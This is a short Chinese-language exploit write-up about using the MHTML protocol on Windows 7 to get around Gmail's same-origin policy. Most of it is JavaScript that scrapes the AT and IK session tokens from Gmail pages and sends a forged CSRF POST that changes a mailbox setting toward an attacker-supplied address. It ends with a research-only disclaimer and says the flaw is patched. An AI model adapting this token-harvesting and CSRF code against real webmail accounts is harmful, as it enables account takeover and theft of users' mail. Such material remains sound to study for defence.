Win7 環境下利用 MHTML 協議發起 Ajax 請求攻擊 Gmail,需繞過同源策略限制。不同於 XP 可直接 HTTP 請求,Win7 要求請求 URL 同屬 MHTML 協議,否則無權限。
成功發起 CSRF 需從 Gmail 頁面或 Cookie 取得 AT(34 字元)與 IK(10 字元)兩個參數。
xmlHttp = new ActiveXObject("Microsoft.XMLHttp");
xmlHttp.open("GET", "mhtml:https://mail.google.com/mail/h/0/", true);
xmlHttp.send();
xmlHttp.onreadystatechange = function() {
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
// 取得 AT
REX = /href=\".*?at=(.{34})\"/.exec(xmlHttp.responseText);
AThash = RegExp.$1;
// 取得 IK
xmlHttp.open("GET", "mhtml:https://mail.google.com/mail/", true);
xmlHttp.send();
xmlHttp.onreadystatechange = function() {
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
REX = /GLOBALS=\[.*?,"(.{10})",/.exec(xmlHttp.responseText);
IKhash = RegExp.$1;
// 發送郵件 (CSRF)
xmlHttp.open("POST", "mhtml:https://mail.google.com/mail/?ui=2&ik=" + IKhash + "&view=mdlg&at=" + AThash, true);
xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlHttp.send("mdrp=1&mda=%0D%0A" + Tmail + "%0D%0A");
}
};
}
};
mhtml: 協議前綴,符合 Win7 同源策略要求。/mail/h/0/ 解析 AT,再從 /mail/ 解析 IK。本代碼僅供安全研究與防禦參考,嚴禁用於非法用途。Google 已修補相關漏洞,現代瀏覽器亦已棄用 MHTML 協議支援。